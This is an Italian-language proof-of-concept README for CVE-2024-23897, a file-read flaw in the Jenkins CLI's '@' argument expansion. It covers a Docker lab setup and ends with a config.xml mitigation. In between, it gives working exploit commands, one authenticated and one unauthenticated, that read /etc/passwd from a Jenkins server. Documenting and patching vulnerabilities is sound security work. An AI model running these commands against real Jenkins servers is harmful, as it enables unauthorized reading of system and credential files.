
in questo git puoi trovare tutte le informazioni sulla CVE-2024-23897
Il problema, assegnato all'identificativo CVE CVE-2024-23897, è stato descritto come una vulnerabilità di lettura arbitraria di file attraverso l'interfaccia a riga di comando integrata. Questo parser di comandi ha una funzione che sostituisce un carattere @ seguito da un percorso file in un argomento con il contenuto del file (expandAtFiles). Questa funzione è abilitata per impostazione predefinita e Jenkins 2.441 e versioni precedenti, LTS 2.426.2 e versioni precedenti non la disabilitano.
Per questo PoC, ho installato Jenkins 2.426.2 con Docker per testare lo sfruttamento della vulnerabilità
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
Dopo aver creato un utente e una password, ho scaricato il client CLI di Jenkins (jenkins-cli.jar) sulla mia macchina attaccante.
Poi, ho scritto il comando per lo sfruttamento. In questo comando, dobbiamo avere le credenziali dell'utente Jenkins.
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
Un altro comando permette di visualizzare le prime righe di un file senza autenticazione.
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
Per contrastare questa vulnerabilità, è necessario navigare fino al file di configurazione di Jenkins chiamato config.xml (nel mio caso, si trova nel mio container Docker, quindi passo alla modalità shell nel mio container)
<expandAtFiles>false</expandAtFiles>
e riavviare Jenkins:
service jenkins restart